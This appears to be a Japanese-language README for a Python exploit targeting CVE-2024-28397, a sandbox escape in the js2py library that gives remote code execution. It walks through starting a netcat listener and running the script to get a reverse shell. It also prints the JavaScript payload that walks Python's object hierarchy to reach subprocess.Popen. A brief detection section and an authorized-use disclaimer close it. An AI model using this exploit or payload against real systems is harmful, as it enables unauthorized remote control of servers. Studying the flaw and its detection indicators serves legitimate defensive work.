
CVE-2024-28397 用の Python エクスプロイトコードで、js2py <= 0.74 の重大な脆弱性を利用してサンドボックスエスケープとリモートコード実行を可能にします。
js2py は、Python 環境内で JavaScript コードを評価するための一般的な Python ライブラリです。この脆弱性により、攻撃者は js2py.disable_pyimport() が有効になっている場合でも、js2py のサンドボックス環境から脱出し、任意の Python/システムコマンドを実行できます。
このエクスプロイトは、JavaScript を介して Python のオブジェクトイントロスペクション機能を利用し、subprocess.Popen クラスにアクセスしてシステムコマンドを実行します。
pip install requests
# Start netcat listener
nc -lnvp 4444
# Run exploit
python3 exploit.py --target http://target.com:8000/run_code --lhost 10.10.14.100 --lport 4444
--target Target URL endpoint (required)
--lhost Local IP for reverse shell (required)
--lport Local port for reverse shell (default: 4444)
python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.100
__class__ と __base__ 経由で Python のオブジェクト階層にアクセスしますsubprocess.Popen を特定しますこのエクスプロイトは次の方法で動作します:
Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__ へのアクセス__subclasses__() を使用した Python のオブジェクト階層の走査subprocess.Popen クラスの発見// Access Python object hierarchy
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a, "__class__"), "__base__");
// Find subprocess.Popen class
function findpopen(o) {
// Recursive search through subclasses
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
}
}
// Execute command
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
以下を含む JavaScript コードを探します:
__class__ または ___class___ 属性アクセス__subclasses__() メソッド呼び出しsubprocess または Popen への参照printf と base64 -d を使用した base64 エンコードされたペイロードこのツールは認可されたペネトレーションテストおよび教育目的のみを対象としています。ユーザーは適用される法律および規制を遵守する責任があります。コンピュータシステムへの不正アクセスは違法です。
このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。